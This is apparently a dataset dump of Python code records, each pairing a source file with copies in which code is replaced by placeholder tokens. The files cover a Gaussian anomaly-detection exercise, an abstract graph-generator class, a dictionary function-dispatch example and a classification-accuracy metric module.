input('Program paused. Press ENTER to continue') '''第3部分 基于验证集 得到一个最好的概率分布阈值''' pval = mvg.multivariate_gaussian(Xval, mu, sigma2) #根据训练集的概率分布 得到验证集样本的概率 epsilon, f1 = st.select_threshold(yval, pval) #选择合适的概率阈值 print('Best epsilon found using cross-validation: {:0.4e}'.format(epsilon)) print('Best F1 on Cross Validation Set: {:0.6f}'.format(f1)) print('(you should see a value epsilon of about 8.99e-05 and F1 of about 0.875)') # 标出训练集中的异常值 outliers = np.where(p < epsilon) plt.scatter(X[outliers, 0], X[outliers, 1], marker='o', facecolors='none', edgecolors='r') input('Program paused. Press ENTER to continue') '''第4部分 基于大数据集 进行异常检测(特征数很多)''' data = scio.loadmat('ex8data2.mat') X = data['X'] #训练集样本特征矩阵 Xval = data['Xval'] #验证集样本特征矩阵 yval = data['yval'].flatten() #验证集样本标签 1异常 0正常 #参数估计 mu, sigma2 = eg.estimate_gaussian(X) # 计算训练集的概率分布 p = mvg.multivariate_gaussian(X, mu, sigma2) # 得到验证集每个样本的概率 pval = mvg.multivariate_gaussian(Xval, mu, sigma2) # 选择一个最好的阈值 epsilon, f1 = st.select_threshold(yval, pval) #验证程序正确性 print('Best epsilon found using cross-validation: {:0.4e}'.format(epsilon)) print('Best F1 on Cross Validation Set: {:0.6f}'.format(f1)) print('# Outliers found: {}'.format(np.sum(np.less(p, epsilon)))) #训练集上的异常样本数量 print('(you should see a value epsilon of about 1.38e-18, F1 of about 0.615, and 117 outliers)') input('ex8 Finished. Press ENTER to exit')
[ "import matplotlib.pyplot as plt\nimport numpy as np\nimport scipy.io as scio\n\nimport estimateGaussian as eg\nimport multivariateGaussian as mvg\nimport visualizeFit as vf\nimport selectThreshold as st\n\nplt.ion()\n# np.set_printoptions(formatter={'float': '{: 0.6f}'.format})\n\n'''第1部分 加载示例数据集'''\n\n#先通过一个小数据集进行异常检测 便于可视化\n\n# 数据集包含两个特征 \n# 一些机器的等待时间和吞吐量 实验目的找出其中可能有异常的机器\n\n\nprint('Visualizing example dataset for outlier detection.')\n\n\ndata = scio.loadmat('ex8data1.mat')\nX = data['X']#训练集样本特征矩阵\nXval = data['Xval'] #验证集样本特征矩阵\nyval = data['yval'].flatten() #验证集样本标签 异常/正常 \n\n# 可视化样例训练集\nplt.figure()\nplt.scatter(X[:, 0], X[:, 1], c='b', marker='x', s=15, linewidth=1)\nplt.axis([0, 30, 0, 30])\nplt.xlabel('Latency (ms)') #x1等待时间\nplt.ylabel('Throughput (mb/s') #x2吞吐量\n\n\ninput('Program paused. Press ENTER to continue')\n\n'''第2部分 估计训练集的分布'''\n# 假设数据集的各个特征服从高斯分布\n\nprint('Visualizing Gaussian fit.')\n\n# 参数估计 \nmu, sigma2 = eg.estimate_gaussian(X)\n\n# 计算训练集的概率分布\np = mvg.multivariate_gaussian(X, mu, sigma2)\n#可视化训练集的概率分布 画出等高线图\nvf.visualize_fit(X, mu, sigma2)\nplt.xlabel('Latency (ms)')\nplt.ylabel('Throughput (mb/s')\n\ninput('Program paused. Press ENTER to continue')\n\n'''第3部分 基于验证集 得到一个最好的概率分布阈值'''\npval = mvg.multivariate_gaussian(Xval, mu, sigma2) #根据训练集的概率分布 得到验证集样本的概率\n\nepsilon, f1 = st.select_threshold(yval, pval) #选择合适的概率阈值\nprint('Best epsilon found using cross-validation: {:0.4e}'.format(epsilon))\nprint('Best F1 on Cross Validation Set: {:0.6f}'.format(f1))\nprint('(you should see a value epsilon of about 8.99e-05 and F1 of about 0.875)')\n\n# 标出训练集中的异常值\noutliers = np.where(p < epsilon)\nplt.scatter(X[outliers, 0], X[outliers, 1], marker='o', facecolors='none', edgecolors='r')\n\ninput('Program paused. Press ENTER to continue')\n\n\n'''第4部分 基于大数据集 进行异常检测(特征数很多)'''\ndata = scio.loadmat('ex8data2.mat')\nX = data['X'] #训练集样本特征矩阵\nXval = data['Xval'] #验证集样本特征矩阵\nyval = data['yval'].flatten() #验证集样本标签 1异常 0正常\n\n#参数估计\nmu, sigma2 = eg.estimate_gaussian(X)\n\n# 计算训练集的概率分布\np = mvg.multivariate_gaussian(X, mu, sigma2)\n\n# 得到验证集每个样本的概率\npval = mvg.multivariate_gaussian(Xval, mu, sigma2)\n\n# 选择一个最好的阈值\nepsilon, f1 = st.select_threshold(yval, pval)\n\n#验证程序正确性\nprint('Best epsilon found using cross-validation: {:0.4e}'.format(epsilon))\nprint('Best F1 on Cross Validation Set: {:0.6f}'.format(f1))\nprint('# Outliers found: {}'.format(np.sum(np.less(p, epsilon)))) #训练集上的异常样本数量\nprint('(you should see a value epsilon of about 1.38e-18, F1 of about 0.615, and 117 outliers)')\n\ninput('ex8 Finished. Press ENTER to exit')\n", "import matplotlib.pyplot as plt\nimport numpy as np\nimport scipy.io as scio\nimport estimateGaussian as eg\nimport multivariateGaussian as mvg\nimport visualizeFit as vf\nimport selectThreshold as st\nplt.ion()\n<docstring token>\nprint('Visualizing example dataset for outlier detection.')\ndata = scio.loadmat('ex8data1.mat')\nX = data['X']\nXval = data['Xval']\nyval = data['yval'].flatten()\nplt.figure()\nplt.scatter(X[:, 0], X[:, 1], c='b', marker='x', s=15, linewidth=1)\nplt.axis([0, 30, 0, 30])\nplt.xlabel('Latency (ms)')\nplt.ylabel('Throughput (mb/s')\ninput('Program paused. Press ENTER to continue')\n<docstring token>\nprint('Visualizing Gaussian fit.')\nmu, sigma2 = eg.estimate_gaussian(X)\np = mvg.multivariate_gaussian(X, mu, sigma2)\nvf.visualize_fit(X, mu, sigma2)\nplt.xlabel('Latency (ms)')\nplt.ylabel('Throughput (mb/s')\ninput('Program paused. Press ENTER to continue')\n<docstring token>\npval = mvg.multivariate_gaussian(Xval, mu, sigma2)\nepsilon, f1 = st.select_threshold(yval, pval)\nprint('Best epsilon found using cross-validation: {:0.4e}'.format(epsilon))\nprint('Best F1 on Cross Validation Set: {:0.6f}'.format(f1))\nprint(\n '(you should see a value epsilon of about 8.99e-05 and F1 of about 0.875)')\noutliers = np.where(p < epsilon)\nplt.scatter(X[outliers, 0], X[outliers, 1], marker='o', facecolors='none',\n edgecolors='r')\ninput('Program paused. Press ENTER to continue')\n<docstring token>\ndata = scio.loadmat('ex8data2.mat')\nX = data['X']\nXval = data['Xval']\nyval = data['yval'].flatten()\nmu, sigma2 = eg.estimate_gaussian(X)\np = mvg.multivariate_gaussian(X, mu, sigma2)\npval = mvg.multivariate_gaussian(Xval, mu, sigma2)\nepsilon, f1 = st.select_threshold(yval, pval)\nprint('Best epsilon found using cross-validation: {:0.4e}'.format(epsilon))\nprint('Best F1 on Cross Validation Set: {:0.6f}'.format(f1))\nprint('# Outliers found: {}'.format(np.sum(np.less(p, epsilon))))\nprint(\n '(you should see a value epsilon of about 1.38e-18, F1 of about 0.615, and 117 outliers)'\n )\ninput('ex8 Finished. Press ENTER to exit')\n", "<import token>\nplt.ion()\n<docstring token>\nprint('Visualizing example dataset for outlier detection.')\ndata = scio.loadmat('ex8data1.mat')\nX = data['X']\nXval = data['Xval']\nyval = data['yval'].flatten()\nplt.figure()\nplt.scatter(X[:, 0], X[:, 1], c='b', marker='x', s=15, linewidth=1)\nplt.axis([0, 30, 0, 30])\nplt.xlabel('Latency (ms)')\nplt.ylabel('Throughput (mb/s')\ninput('Program paused. Press ENTER to continue')\n<docstring token>\nprint('Visualizing Gaussian fit.')\nmu, sigma2 = eg.estimate_gaussian(X)\np = mvg.multivariate_gaussian(X, mu, sigma2)\nvf.visualize_fit(X, mu, sigma2)\nplt.xlabel('Latency (ms)')\nplt.ylabel('Throughput (mb/s')\ninput('Program paused. Press ENTER to continue')\n<docstring token>\npval = mvg.multivariate_gaussian(Xval, mu, sigma2)\nepsilon, f1 = st.select_threshold(yval, pval)\nprint('Best epsilon found using cross-validation: {:0.4e}'.format(epsilon))\nprint('Best F1 on Cross Validation Set: {:0.6f}'.format(f1))\nprint(\n '(you should see a value epsilon of about 8.99e-05 and F1 of about 0.875)')\noutliers = np.where(p < epsilon)\nplt.scatter(X[outliers, 0], X[outliers, 1], marker='o', facecolors='none',\n edgecolors='r')\ninput('Program paused. Press ENTER to continue')\n<docstring token>\ndata = scio.loadmat('ex8data2.mat')\nX = data['X']\nXval = data['Xval']\nyval = data['yval'].flatten()\nmu, sigma2 = eg.estimate_gaussian(X)\np = mvg.multivariate_gaussian(X, mu, sigma2)\npval = mvg.multivariate_gaussian(Xval, mu, sigma2)\nepsilon, f1 = st.select_threshold(yval, pval)\nprint('Best epsilon found using cross-validation: {:0.4e}'.format(epsilon))\nprint('Best F1 on Cross Validation Set: {:0.6f}'.format(f1))\nprint('# Outliers found: {}'.format(np.sum(np.less(p, epsilon))))\nprint(\n '(you should see a value epsilon of about 1.38e-18, F1 of about 0.615, and 117 outliers)'\n )\ninput('ex8 Finished. Press ENTER to exit')\n", "<import token>\nplt.ion()\n<docstring token>\nprint('Visualizing example dataset for outlier detection.')\n<assignment token>\nplt.figure()\nplt.scatter(X[:, 0], X[:, 1], c='b', marker='x', s=15, linewidth=1)\nplt.axis([0, 30, 0, 30])\nplt.xlabel('Latency (ms)')\nplt.ylabel('Throughput (mb/s')\ninput('Program paused. Press ENTER to continue')\n<docstring token>\nprint('Visualizing Gaussian fit.')\n<assignment token>\nvf.visualize_fit(X, mu, sigma2)\nplt.xlabel('Latency (ms)')\nplt.ylabel('Throughput (mb/s')\ninput('Program paused. Press ENTER to continue')\n<docstring token>\n<assignment token>\nprint('Best epsilon found using cross-validation: {:0.4e}'.format(epsilon))\nprint('Best F1 on Cross Validation Set: {:0.6f}'.format(f1))\nprint(\n '(you should see a value epsilon of about 8.99e-05 and F1 of about 0.875)')\n<assignment token>\nplt.scatter(X[outliers, 0], X[outliers, 1], marker='o', facecolors='none',\n edgecolors='r')\ninput('Program paused. Press ENTER to continue')\n<docstring token>\n<assignment token>\nprint('Best epsilon found using cross-validation: {:0.4e}'.format(epsilon))\nprint('Best F1 on Cross Validation Set: {:0.6f}'.format(f1))\nprint('# Outliers found: {}'.format(np.sum(np.less(p, epsilon))))\nprint(\n '(you should see a value epsilon of about 1.38e-18, F1 of about 0.615, and 117 outliers)'\n )\ninput('ex8 Finished. Press ENTER to exit')\n", "<import token>\n<code token>\n<docstring token>\n<code token>\n<assignment token>\n<code token>\n<docstring token>\n<code token>\n<assignment token>\n<code token>\n<docstring token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<docstring token>\n<assignment token>\n<code token>\n" ]
false
488
e37e468d8a41b8711fb0eb4ddec7db67691f9156
''' Created on 3 Jul 2009 @author: charanpal An abstract base class which represents a graph generator. The graph generator takes an existing empty graph and produces edges over it. ''' from apgl.util.Util import Util class AbstractGraphGenerator(object): def generate(self, graph): Util.abstract()
[ "'''\r\nCreated on 3 Jul 2009\r\n\r\n@author: charanpal\r\n\r\nAn abstract base class which represents a graph generator. The graph generator\r\ntakes an existing empty graph and produces edges over it. \r\n'''\r\nfrom apgl.util.Util import Util\r\n\r\nclass AbstractGraphGenerator(object):\r\n def generate(self, graph):\r\n Util.abstract() ", "<docstring token>\nfrom apgl.util.Util import Util\n\n\nclass AbstractGraphGenerator(object):\n\n def generate(self, graph):\n Util.abstract()\n", "<docstring token>\n<import token>\n\n\nclass AbstractGraphGenerator(object):\n\n def generate(self, graph):\n Util.abstract()\n", "<docstring token>\n<import token>\n\n\nclass AbstractGraphGenerator(object):\n <function token>\n", "<docstring token>\n<import token>\n<class token>\n" ]
false
489
dc226a646af32d052c6d51832b95a340d6986e08
print('\n') # Первый вариант def fn1(): print("One") def fn2(): print("Two") def fn3(): print("Three") fndict = {"A": fn1, "B": fn2, "C": fn3} keynames = ["A", "B", "C"] fndict[keynames[1]]() fndict['C']() # Второй вариант def add(one,two): c = one+two print(c) print(type(c)) def sub(one,two): c = one-two print(c) print(type(c)) trainee = {1:add, 2:sub} trainee[1](10,4) print('\n PROVERKA TIPA', type(trainee[1])) print('\n PROVERKA TIPA', type(trainee[1](10,4)))
[ "\nprint('\\n')\n\n#\tПервый вариант\n\ndef fn1():\n print(\"One\")\n\ndef fn2():\n print(\"Two\")\n\ndef fn3():\n print(\"Three\")\n\nfndict = {\"A\": fn1, \"B\": fn2, \"C\": fn3}\n\nkeynames = [\"A\", \"B\", \"C\"]\n\nfndict[keynames[1]]()\nfndict['C']()\n\n\n#\t\tВторой вариант\n\ndef add(one,two):\n\tc = one+two\n\tprint(c)\n\tprint(type(c))\n\ndef sub(one,two):\n\tc = one-two\n\tprint(c)\n\tprint(type(c))\n\ntrainee = {1:add, 2:sub}\n\ntrainee[1](10,4)\nprint('\\n PROVERKA TIPA', type(trainee[1]))\nprint('\\n PROVERKA TIPA', type(trainee[1](10,4)))\n", "print('\\n')\n\n\ndef fn1():\n print('One')\n\n\ndef fn2():\n print('Two')\n\n\ndef fn3():\n print('Three')\n\n\nfndict = {'A': fn1, 'B': fn2, 'C': fn3}\nkeynames = ['A', 'B', 'C']\nfndict[keynames[1]]()\nfndict['C']()\n\n\ndef add(one, two):\n c = one + two\n print(c)\n print(type(c))\n\n\ndef sub(one, two):\n c = one - two\n print(c)\n print(type(c))\n\n\ntrainee = {(1): add, (2): sub}\ntrainee[1](10, 4)\nprint('\\n PROVERKA TIPA', type(trainee[1]))\nprint('\\n PROVERKA TIPA', type(trainee[1](10, 4)))\n", "print('\\n')\n\n\ndef fn1():\n print('One')\n\n\ndef fn2():\n print('Two')\n\n\ndef fn3():\n print('Three')\n\n\n<assignment token>\nfndict[keynames[1]]()\nfndict['C']()\n\n\ndef add(one, two):\n c = one + two\n print(c)\n print(type(c))\n\n\ndef sub(one, two):\n c = one - two\n print(c)\n print(type(c))\n\n\n<assignment token>\ntrainee[1](10, 4)\nprint('\\n PROVERKA TIPA', type(trainee[1]))\nprint('\\n PROVERKA TIPA', type(trainee[1](10, 4)))\n", "<code token>\n\n\ndef fn1():\n print('One')\n\n\ndef fn2():\n print('Two')\n\n\ndef fn3():\n print('Three')\n\n\n<assignment token>\n<code token>\n\n\ndef add(one, two):\n c = one + two\n print(c)\n print(type(c))\n\n\ndef sub(one, two):\n c = one - two\n print(c)\n print(type(c))\n\n\n<assignment token>\n<code token>\n", "<code token>\n<function token>\n\n\ndef fn2():\n print('Two')\n\n\ndef fn3():\n print('Three')\n\n\n<assignment token>\n<code token>\n\n\ndef add(one, two):\n c = one + two\n print(c)\n print(type(c))\n\n\ndef sub(one, two):\n c = one - two\n print(c)\n print(type(c))\n\n\n<assignment token>\n<code token>\n", "<code token>\n<function token>\n\n\ndef fn2():\n print('Two')\n\n\n<function token>\n<assignment token>\n<code token>\n\n\ndef add(one, two):\n c = one + two\n print(c)\n print(type(c))\n\n\ndef sub(one, two):\n c = one - two\n print(c)\n print(type(c))\n\n\n<assignment token>\n<code token>\n", "<code token>\n<function token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n\n\ndef add(one, two):\n c = one + two\n print(c)\n print(type(c))\n\n\ndef sub(one, two):\n c = one - two\n print(c)\n print(type(c))\n\n\n<assignment token>\n<code token>\n", "<code token>\n<function token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n<function token>\n\n\ndef sub(one, two):\n c = one - two\n print(c)\n print(type(c))\n\n\n<assignment token>\n<code token>\n", "<code token>\n<function token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n" ]
false
490
a491772258a52bdfc93083343d2a2e48a240340d
# -*- coding:utf-8 -*- # Copyright (C) 2020. Huawei Technologies Co., Ltd. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Metric of classifier task.""" from functools import partial from vega.metrics.pytorch.metrics import MetricBase from vega.common import ClassFactory, ClassType import sklearn.metrics as me def accuracy(output, target, top_k=(1,)): """Calculate classification accuracy between output and target. :param output: output of classification network :type output: pytorch tensor :param target: ground truth from dataset :type target: pytorch tensor :param top_k: top k of metric, k is an interger :type top_k: tuple of interger :return: results of top k :rtype: list """ labels_count = output.shape[1] max_k = labels_count if max(top_k) > labels_count else max(top_k) batch_size = target.size(0) _, pred = output.topk(max_k, 1, True, True) pred = pred.t() correct = pred.eq(target.view(1, -1).expand_as(pred)) res = [] for k in top_k: correct_k = correct[:k].reshape(-1).float().sum(0) res.append(correct_k / batch_size) return res @ClassFactory.register(ClassType.METRIC, alias='accuracy') class Accuracy(MetricBase): """Calculate classification accuracy between output and target.""" __metric_name__ = 'accuracy' def __init__(self, topk=(1, 5)): """Init Accuracy metric.""" self.topk = topk self.sum = [0.] * len(topk) self.data_num = 0 self.pfm = [0.] * len(topk) def __call__(self, output, target, *args, **kwargs): """Perform top k accuracy. :param output: output of classification network :param target: ground truth from dataset :return: pfm """ if isinstance(output, tuple): output = output[0] if isinstance(target, tuple) or isinstance(target, list): target = target[0] res = accuracy(output, target, self.topk) n = output.size(0) self.data_num += n self.sum = [self.sum[index] + item.item() * n for index, item in enumerate(res)] self.pfm = [item / self.data_num for item in self.sum] return res def reset(self): """Reset states for new evaluation after each epoch.""" self.sum = [0.] * len(self.topk) self.data_num = 0 self.pfm = [0.] * len(self.topk) def summary(self): """Summary all cached records, here is the last pfm record.""" if len(self.pfm) == 1: return self.pfm[0] perf_dict = {} perf_dict[self.name] = self.pfm[0] perf_dict.update({'{}_top{}'.format(self.name, self.topk[idx]): value for idx, value in enumerate(self.pfm)}) return perf_dict @ClassFactory.register(ClassType.METRIC) class SklearnMetrics(MetricBase): """Wrapper class for Sklearn Metrics.""" def __init__(self, name, **kwargs): super().__init__() self.__metric_name__ = name self.metric_func = getattr(me, name) if kwargs: self.metric_func = partial(self.metric_func, kwargs) def __call__(self, output, target, *args, **kwargs): """Perform top k accuracy. :param output: output of classification network :param target: ground truth from dataset :return: pfm """ _, y_pred = output.topk(1, 1, True, True) y_pred = y_pred.t().detach().cpu().numpy()[0] y_true = target.detach().cpu().numpy() self.pfm = self.metric_func(y_true, y_pred) return self.pfm def reset(self): """Reset states for new evaluation after each epoch.""" pass def summary(self): """Summary all cached records, here is the last pfm record.""" return self.pfm
[ "# -*- coding:utf-8 -*-\n\n# Copyright (C) 2020. Huawei Technologies Co., Ltd. All rights reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"Metric of classifier task.\"\"\"\nfrom functools import partial\nfrom vega.metrics.pytorch.metrics import MetricBase\nfrom vega.common import ClassFactory, ClassType\nimport sklearn.metrics as me\n\n\ndef accuracy(output, target, top_k=(1,)):\n \"\"\"Calculate classification accuracy between output and target.\n\n :param output: output of classification network\n :type output: pytorch tensor\n :param target: ground truth from dataset\n :type target: pytorch tensor\n :param top_k: top k of metric, k is an interger\n :type top_k: tuple of interger\n :return: results of top k\n :rtype: list\n\n \"\"\"\n labels_count = output.shape[1]\n max_k = labels_count if max(top_k) > labels_count else max(top_k)\n batch_size = target.size(0)\n _, pred = output.topk(max_k, 1, True, True)\n pred = pred.t()\n correct = pred.eq(target.view(1, -1).expand_as(pred))\n res = []\n for k in top_k:\n correct_k = correct[:k].reshape(-1).float().sum(0)\n res.append(correct_k / batch_size)\n return res\n\n\[email protected](ClassType.METRIC, alias='accuracy')\nclass Accuracy(MetricBase):\n \"\"\"Calculate classification accuracy between output and target.\"\"\"\n\n __metric_name__ = 'accuracy'\n\n def __init__(self, topk=(1, 5)):\n \"\"\"Init Accuracy metric.\"\"\"\n self.topk = topk\n self.sum = [0.] * len(topk)\n self.data_num = 0\n self.pfm = [0.] * len(topk)\n\n def __call__(self, output, target, *args, **kwargs):\n \"\"\"Perform top k accuracy.\n\n :param output: output of classification network\n :param target: ground truth from dataset\n :return: pfm\n \"\"\"\n if isinstance(output, tuple):\n output = output[0]\n if isinstance(target, tuple) or isinstance(target, list):\n target = target[0]\n res = accuracy(output, target, self.topk)\n n = output.size(0)\n self.data_num += n\n self.sum = [self.sum[index] + item.item() * n for index, item in enumerate(res)]\n self.pfm = [item / self.data_num for item in self.sum]\n return res\n\n def reset(self):\n \"\"\"Reset states for new evaluation after each epoch.\"\"\"\n self.sum = [0.] * len(self.topk)\n self.data_num = 0\n self.pfm = [0.] * len(self.topk)\n\n def summary(self):\n \"\"\"Summary all cached records, here is the last pfm record.\"\"\"\n if len(self.pfm) == 1:\n return self.pfm[0]\n perf_dict = {}\n perf_dict[self.name] = self.pfm[0]\n perf_dict.update({'{}_top{}'.format(self.name, self.topk[idx]): value for idx, value in enumerate(self.pfm)})\n return perf_dict\n\n\[email protected](ClassType.METRIC)\nclass SklearnMetrics(MetricBase):\n \"\"\"Wrapper class for Sklearn Metrics.\"\"\"\n\n def __init__(self, name, **kwargs):\n super().__init__()\n self.__metric_name__ = name\n self.metric_func = getattr(me, name)\n if kwargs:\n self.metric_func = partial(self.metric_func, kwargs)\n\n def __call__(self, output, target, *args, **kwargs):\n \"\"\"Perform top k accuracy.\n\n :param output: output of classification network\n :param target: ground truth from dataset\n :return: pfm\n \"\"\"\n _, y_pred = output.topk(1, 1, True, True)\n y_pred = y_pred.t().detach().cpu().numpy()[0]\n y_true = target.detach().cpu().numpy()\n self.pfm = self.metric_func(y_true, y_pred)\n return self.pfm\n\n def reset(self):\n \"\"\"Reset states for new evaluation after each epoch.\"\"\"\n pass\n\n def summary(self):\n \"\"\"Summary all cached records, here is the last pfm record.\"\"\"\n return self.pfm\n", "<docstring token>\nfrom functools import partial\nfrom vega.metrics.pytorch.metrics import MetricBase\nfrom vega.common import ClassFactory, ClassType\nimport sklearn.metrics as me\n\n\ndef accuracy(output, target, top_k=(1,)):\n \"\"\"Calculate classification accuracy between output and target.\n\n :param output: output of classification network\n :type output: pytorch tensor\n :param target: ground truth from dataset\n :type target: pytorch tensor\n :param top_k: top k of metric, k is an interger\n :type top_k: tuple of interger\n :return: results of top k\n :rtype: list\n\n \"\"\"\n labels_count = output.shape[1]\n max_k = labels_count if max(top_k) > labels_count else max(top_k)\n batch_size = target.size(0)\n _, pred = output.topk(max_k, 1, True, True)\n pred = pred.t()\n correct = pred.eq(target.view(1, -1).expand_as(pred))\n res = []\n for k in top_k:\n correct_k = correct[:k].reshape(-1).float().sum(0)\n res.append(correct_k / batch_size)\n return res\n\n\[email protected](ClassType.METRIC, alias='accuracy')\nclass Accuracy(MetricBase):\n \"\"\"Calculate classification accuracy between output and target.\"\"\"\n __metric_name__ = 'accuracy'\n\n def __init__(self, topk=(1, 5)):\n \"\"\"Init Accuracy metric.\"\"\"\n self.topk = topk\n self.sum = [0.0] * len(topk)\n self.data_num = 0\n self.pfm = [0.0] * len(topk)\n\n def __call__(self, output, target, *args, **kwargs):\n \"\"\"Perform top k accuracy.\n\n :param output: output of classification network\n :param target: ground truth from dataset\n :return: pfm\n \"\"\"\n if isinstance(output, tuple):\n output = output[0]\n if isinstance(target, tuple) or isinstance(target, list):\n target = target[0]\n res = accuracy(output, target, self.topk)\n n = output.size(0)\n self.data_num += n\n self.sum = [(self.sum[index] + item.item() * n) for index, item in\n enumerate(res)]\n self.pfm = [(item / self.data_num) for item in self.sum]\n return res\n\n def reset(self):\n \"\"\"Reset states for new evaluation after each epoch.\"\"\"\n self.sum = [0.0] * len(self.topk)\n self.data_num = 0\n self.pfm = [0.0] * len(self.topk)\n\n def summary(self):\n \"\"\"Summary all cached records, here is the last pfm record.\"\"\"\n if len(self.pfm) == 1:\n return self.pfm[0]\n perf_dict = {}\n perf_dict[self.name] = self.pfm[0]\n perf_dict.update({'{}_top{}'.format(self.name, self.topk[idx]):\n value for idx, value in enumerate(self.pfm)})\n return perf_dict\n\n\[email protected](ClassType.METRIC)\nclass SklearnMetrics(MetricBase):\n \"\"\"Wrapper class for Sklearn Metrics.\"\"\"\n\n def __init__(self, name, **kwargs):\n super().__init__()\n self.__metric_name__ = name\n self.metric_func = getattr(me, name)\n if kwargs:\n self.metric_func = partial(self.metric_func, kwargs)\n\n def __call__(self, output, target, *args, **kwargs):\n \"\"\"Perform top k accuracy.\n\n :param output: output of classification network\n :param target: ground truth from dataset\n :return: pfm\n \"\"\"\n _, y_pred = output.topk(1, 1, True, True)\n y_pred = y_pred.t().detach().cpu().numpy()[0]\n y_true = target.detach().cpu().numpy()\n self.pfm = self.metric_func(y_true, y_pred)\n return self.pfm\n\n def reset(self):\n \"\"\"Reset states for new evaluation after each epoch.\"\"\"\n pass\n\n def summary(self):\n \"\"\"Summary all cached records, here is the last pfm record.\"\"\"\n return self.pfm\n", "<docstring token>\n<import token>\n\n\ndef accuracy(output, target, top_k=(1,)):\n \"\"\"Calculate classification accuracy between output and target.\n\n :param output: output of classification network\n :type output: pytorch tensor\n :param target: ground truth from dataset\n :type target: pytorch tensor\n :param top_k: top k of metric, k is an interger\n :type top_k: tuple of interger\n :return: results of top k\n :rtype: list\n\n \"\"\"\n labels_count = output.shape[1]\n max_k = labels_count if max(top_k) > labels_count else max(top_k)\n batch_size = target.size(0)\n _, pred = output.topk(max_k, 1, True, True)\n pred = pred.t()\n correct = pred.eq(target.view(1, -1).expand_as(pred))\n res = []\n for k in top_k:\n correct_k = correct[:k].reshape(-1).float().sum(0)\n res.append(correct_k / batch_size)\n return res\n\n\[email protected](ClassType.METRIC, alias='accuracy')\nclass Accuracy(MetricBase):\n \"\"\"Calculate classification accuracy between output and target.\"\"\"\n __metric_name__ = 'accuracy'\n\n def __init__(self, topk=(1, 5)):\n \"\"\"Init Accuracy metric.\"\"\"\n self.topk = topk\n self.sum = [0.0] * len(topk)\n self.data_num = 0\n self.pfm = [0.0] * len(topk)\n\n def __call__(self, output, target, *args, **kwargs):\n \"\"\"Perform top k accuracy.\n\n :param output: output of classification network\n :param target: ground truth from dataset\n :return: pfm\n \"\"\"\n if isinstance(output, tuple):\n output = output[0]\n if isinstance(target, tuple) or isinstance(target, list):\n target = target[0]\n res = accuracy(output, target, self.topk)\n n = output.size(0)\n self.data_num += n\n self.sum = [(self.sum[index] + item.item() * n) for index, item in\n enumerate(res)]\n self.pfm = [(item / self.data_num) for item in self.sum]\n return res\n\n def reset(self):\n \"\"\"Reset states for new evaluation after each epoch.\"\"\"\n self.sum = [0.0] * len(self.topk)\n self.data_num = 0\n self.pfm = [0.0] * len(self.topk)\n\n def summary(self):\n \"\"\"Summary all cached records, here is the last pfm record.\"\"\"\n if len(self.pfm) == 1:\n return self.pfm[0]\n perf_dict = {}\n perf_dict[self.name] = self.pfm[0]\n perf_dict.update({'{}_top{}'.format(self.name, self.topk[idx]):\n value for idx, value in enumerate(self.pfm)})\n return perf_dict\n\n\[email protected](ClassType.METRIC)\nclass SklearnMetrics(MetricBase):\n \"\"\"Wrapper class for Sklearn Metrics.\"\"\"\n\n def __init__(self, name, **kwargs):\n super().__init__()\n self.__metric_name__ = name\n self.metric_func = getattr(me, name)\n if kwargs:\n self.metric_func = partial(self.metric_func, kwargs)\n\n def __call__(self, output, target, *args, **kwargs):\n \"\"\"Perform top k accuracy.\n\n :param output: output of classification network\n :param target: ground truth from dataset\n :return: pfm\n \"\"\"\n _, y_pred = output.topk(1, 1, True, True)\n y_pred = y_pred.t().detach().cpu().numpy()[0]\n y_true = target.detach().cpu().numpy()\n self.pfm = self.metric_func(y_true, y_pred)\n return self.pfm\n\n def reset(self):\n \"\"\"Reset states for new evaluation after each epoch.\"\"\"\n pass\n\n def summary(self):\n \"\"\"Summary all cached records, here is the last pfm record.\"\"\"\n return self.pfm\n", "<docstring token>\n<import token>\n<function token>\n\n\[email protected](ClassType.METRIC, alias='accuracy')\nclass Accuracy(MetricBase):\n \"\"\"Calculate classification accuracy between output and target.\"\"\"\n __metric_name__ = 'accuracy'\n\n def __init__(self, topk=(1, 5)):\n \"\"\"Init Accuracy metric.\"\"\"\n self.topk = topk\n self.sum = [0.0] * len(topk)\n self.data_num = 0\n self.pfm = [0.0] * len(topk)\n\n def __call__(self, output, target, *args, **kwargs):\n \"\"\"Perform top k accuracy.\n\n :param output: output of classification network\n :param target: ground truth from dataset\n :return: pfm\n \"\"\"\n if isinstance(output, tuple):\n output = output[0]\n if isinstance(target, tuple) or isinstance(target, list):\n target = target[0]\n res = accuracy(output, target, self.topk)\n n = output.size(0)\n self.data_num += n\n self.sum = [(self.sum[index] + item.item() * n) for index, item in\n enumerate(res)]\n self.pfm = [(item / self.data_num) for item in self.sum]\n return res\n\n def reset(self):\n \"\"\"Reset states for new evaluation after each epoch.\"\"\"\n self.sum = [0.0] * len(self.topk)\n self.data_num = 0\n self.pfm = [0.0] * len(self.topk)\n\n def summary(self):\n \"\"\"Summary all cached records, here is the last pfm record.\"\"\"\n if len(self.pfm) == 1:\n return self.pfm[0]\n perf_dict = {}\n perf_dict[self.name] = self.pfm[0]\n perf_dict.update({'{}_top{}'.format(self.name, self.topk[idx]):\n value for idx, value in enumerate(self.pfm)})\n return perf_dict\n\n\[email protected](ClassType.METRIC)\nclass SklearnMetrics(MetricBase):\n \"\"\"Wrapper class for Sklearn Metrics.\"\"\"\n\n def __init__(self, name, **kwargs):\n super().__init__()\n self.__metric_name__ = name\n self.metric_func = getattr(me, name)\n if kwargs:\n self.metric_func = partial(self.metric_func, kwargs)\n\n def __call__(self, output, target, *args, **kwargs):\n 